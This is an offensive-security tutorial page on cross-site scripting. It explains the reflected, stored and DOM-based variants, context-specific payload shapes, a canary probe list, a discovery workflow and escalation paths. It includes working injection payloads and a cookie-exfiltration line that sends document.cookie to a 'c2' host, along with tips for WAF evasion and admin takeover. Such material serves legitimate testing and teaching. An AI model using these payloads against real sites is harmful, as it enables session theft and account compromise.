Skip to content

Cross-Site Scripting

XSS is JavaScript execution in someone else’s browser session - your code, their cookies, their session. The vulnerability exists when an application takes untrusted input and renders it as part of executed content (HTML, JavaScript, CSS) without proper context-aware encoding. The three variants differ by where the injection lives; the post-execution mechanics (session theft, CSRF chain, keylogger, defacement) are the same.

# 1. Reflected - input echoed straight back in the response
http://target/search?q=<script>alert(1)</script>
→ <p>Results for: <script>alert(1)</script></p>
# 2. Stored - input persisted server-side, rendered later
POST /comment {"text": "<script>alert(1)</script>"}
→ Every page view of the comment thread executes the script
# 3. DOM-based - purely client-side; server never sees the payload
http://target/#<img src=x onerror=alert(1)>
→ document.write(location.hash) renders the fragment as HTML
# 4. The execution context determines the payload shape
<input value="HERE"> → " onmouseover=alert(1) x="
<script>var x = "HERE";</script> → "; alert(1); //
<a href="HERE"> → javascript:alert(1)
<body bgcolor="HERE"> → " onload=alert(1) x="

Success indicator: a JavaScript expression of your choice executes in the victim’s browser when they visit the crafted URL or view the poisoned content. The proof-of-concept is alert(document.domain) (proves same-origin execution); real impact follows from there.

The textbook proof is a popup. The real impact is whatever JavaScript can do, which on a logged-in victim’s session is essentially everything:

CapabilityMechanism
Read session cookiesdocument.cookie (if not HttpOnly)
Read CSRF tokensDOM scrape - tokens render into HTML somewhere
Forge requests as victimfetch() with the victim’s cookies auto-sent by browser
Read victim’s email / messagesIf the same origin hosts a webmail / chat app
Capture keystrokesaddEventListener('keydown', ...)
Screenshot the pagehtml2canvas library, exfil image
Pivot to internal networkfetch('http://192.168.1.1/...') if the victim is inside the network
Trigger downloads / drive-byForce download of attacker-controlled files
PersistenceService workers, IndexedDB-stored payloads

The XSS itself is the foothold; everything else is what you do from inside the browser.

For the canonical session-theft exfiltration pattern, see XSS to session - document.cookie extraction, cookie-logger PHP receiver, modern callback infrastructure.

VariantWhere the payload livesVictim modelImpact ceiling
ReflectedURL parameter, form field, headerVictim clicks an attacker URLPer-click; needs social engineering
StoredDatabase (comment, profile, ticket)Anyone who views the poisoned pageMass exploitation; possibly admin-targeted
DOM-basedPure client-side; payload in URL fragment, localStorage, postMessageSame as reflectedStealthy - server logs never see the payload

Operators look for all three; the same application often has multiple variants in different fields.

For deep treatment of each:

  • Reflected XSS - URL parameter echo, three rendering contexts
  • Stored XSS - persistent injection, victim modeling, chained impact
  • DOM-based XSS - source-to-sink analysis, postMessage attacks

The most important XSS concept and the one that distinguishes operators who consistently exploit XSS from operators who paste <script>alert(1)</script> and give up.

When your input lands in a response, ask: what kind of content is the parser already in? The browser parses HTML in different modes depending on context. A payload that works in one context fails or does nothing in another.

<!-- 1. HTML body context - between tags -->
<div>HERE</div>
→ Payload needs to open a new tag: <script>alert(1)</script>
<!-- 2. HTML attribute context - inside an attribute value -->
<input type="text" value="HERE">
→ Payload needs to break out of the attribute first: " onmouseover=alert(1) x="
<!-- 3. JavaScript context - inside a <script> block -->
<script>
var username = "HERE";
</script>
→ Payload needs to break out of the JS string: "; alert(1); //
<!-- 4. URL context - inside a URL-accepting attribute -->
<a href="HERE">click</a>
→ Payload uses the javascript: pseudo-scheme: javascript:alert(1)
<!-- 5. CSS context - inside a <style> block or style attribute -->
<style>body { color: HERE; }</style>
→ Payload uses CSS-injection or expression(): (modern browsers limit this heavily)

A reflected XSS that doesn’t fire often isn’t actually filtered - it’s just in a context where the obvious payload doesn’t work. Inspecting the page source to see the exact surrounding markup is the difference between “the WAF blocks me” and “I’m sending the wrong payload class.”

Three identical-looking reflections, three different correct payloads:

<!-- Reflection 1: visible body -->
Your search returned: HERE
<script>alert(1)</script> ✓ works
→ " onerror=alert(1) x=" ✗ no attribute to break out of
<!-- Reflection 2: hidden input -->
<input type="hidden" name="csrf" value="HERE">
<script>alert(1)</script> ✗ inside attribute value; <script> is text
" onfocus=alert(1) autofocus x="breaks out, adds new attribute
<!-- Reflection 3: JSON variable in script -->
<script>var data = "HERE";</script>
<script>alert(1)</script> ✗ the inner <script> tag is text inside an attribute
"; alert(1); var z="breaks string, terminates statement, comments

The reflected value looks the same in all three. The page source - the markup around the reflection - is what determines which payload works.

See Payload construction for the full context-aware payload catalog.

PageFocus
ReflectedURL parameters echoed into responses; canary probing; per-context exploitation
StoredPersistent injection sinks (comments, bios, support tickets, filenames); victim modeling for admin-targeted attacks
DOM-basedSource-to-sink JavaScript analysis; common sources/sinks; postMessage attacks; DOM-Invader
Payload constructionContext-aware payload crafting; the catalog organized by context; polyglot payloads; minimal payloads under length restrictions
Filter bypassesWAF evasion; case juggling; encoding; alternative event handlers; quote-/paren-/space-free JS; CSP bypass paths
Blind XSSXSS that fires in admin-only contexts; XSSHunter/Interactsh setup; out-of-band callback patterns
Skill assessment chainCapstone - reflected to stored to blind, then chain to CSRF for admin takeover

XSS overlaps with several other vulnerability classes. Each lives in its own cluster:

TopicLives in
Session cookie theft via XSSXSS to session - the post-XSS exfiltration mechanics
Combining XSS with CSRF (CSRF token bypass)XSS+CSRF chain
Open redirect → XSS escalationOpen redirect
Self-XSS that requires the victim to paste a payloadNot vulnerability-class XSS; ignored unless escalated to clickjacking
Server-side template injection (looks like XSS but executes server-side)SSTI cluster
Markdown → XSSCovered in Reflected XSS as a context variant

When you find XSS that immediately escalates (e.g., cookies aren’t HttpOnly, or CSRF tokens are scrape-able), use this cluster for the XSS itself and the linked clusters for the escalation.

A few tools recur across this cluster:

ToolPurpose
Burp Suite RepeaterIterating payload variants; observing exact reflected output
Burp Suite IntruderFilter-bypass payload sets; rapid context testing
DOM-Invader (Burp browser extension)DOM source-to-sink analysis automation
XSStrikeContext-aware payload generation and reflected XSS discovery
XSS Hunter ExpressSelf-hosted blind XSS callback infrastructure
BeEF (Browser Exploitation Framework)Post-XSS payload framework; mature but conspicuous
Burp Collaborator / InteractshOOB callback for blind XSS

XSStrike is particularly useful for context discovery - it identifies the exact rendering context of your input and recommends payloads. Run it before crafting manually.

A note on <script>alert(1)</script> blindness

Section titled “A note on <script>alert(1)</script> blindness”

Many tutorials use <script>alert(1)</script> as the universal probe. It’s a reasonable starting point but has three blind spots:

  1. It doesn’t fire in inline contexts. Inside <input value="..."> or <script>var x="...";</script>, the literal <script> tag becomes text within the attribute/string. A scriptless XSS detector misses these.

  2. CSP script-src directives block inline scripts. Many modern apps allow event handlers but not inline <script> tags. The detector miss-classifies these as “no XSS.”

  3. It runs once. If you need the payload to fire on a specific event (form submission, page navigation), <script> won’t catch it.

Better universal probe payloads - each tests a different vector:

<svg onload=alert(1)> <!-- works in body context; no <script> needed -->
"><img src=x onerror=alert(1)> <!-- breaks attribute then injects -->
';alert(1);// <!-- breaks JS string -->
javascript:alert(1) <!-- works in href -->
"><svg/onload=alert(/XSS/)> <!-- shorter, evades some filters -->

Cycle through these as your initial canary suite. The one that fires reveals the context. See Payload construction for the full catalog.

The standard XSS discovery flow:

1. Map input vectors
→ Every URL parameter, form field, HTTP header reflected anywhere in any response
2. Send unique canary per input
→ "xss123abc" - easy to grep for in responses, no encoding interference
3. For each reflection found, inspect surrounding markup
→ View source at the reflection location; identify context
4. Craft context-appropriate payload
→ See [Payload construction]
5. Test payload; iterate on filter bypasses if blocked
→ See [Filter bypasses]
6. Confirm execution
→ alert(document.domain) - proves same-origin
7. Decide on impact escalation
→ Session theft / CSRF chain / blind XSS to admin / data exfil

The pattern is mechanical once internalized. The variable is the context - every distinct reflection deserves its own payload analysis.

  • <svg onload=alert(1)> fires immediately → confirmed reflected XSS in HTML body context; escalate to session theft via fetch('//c2/'+document.cookie)
  • Payload reflected but escaped (HTML entities) → check different output contexts (attribute, JS string, URL); the input may be unescaped in one of them
  • Reflection inside a JavaScript string → break out with ';alert(1);//, then re-enter the string to avoid breaking the page
  • Reflection inside an href/src attribute → try javascript:alert(1) payloads; many filters miss URL-context injection
  • Stored input but no visible execution → check if rendering happens elsewhere (admin panel, email notification, report PDF) - classic blind XSS surface; use a beacon like XSSHunter or your own webhook
  • Payload blocked by WAF → encode (HTML/URL/Unicode), use rare tags (<details ontoggle>, <dialog onclose>), switch context (try the payload as URL param vs POST body vs cookie)
  • JavaScript executing but httpOnly cookies → escalate via in-browser CSRF chain (use the user’s session to make authenticated requests from their browser), or extract data from the rendered DOM
  • Got admin cookie / session → log in as admin, look for file upload endpoints for RCE, or settings pages with command-execution functionality
  • Modern app with strict CSP blocking inline scripts → look for CSP bypasses (JSONP endpoints, allowed CDN with dangerous content), or chain with another vuln to overcome it
Defenses D3-CBV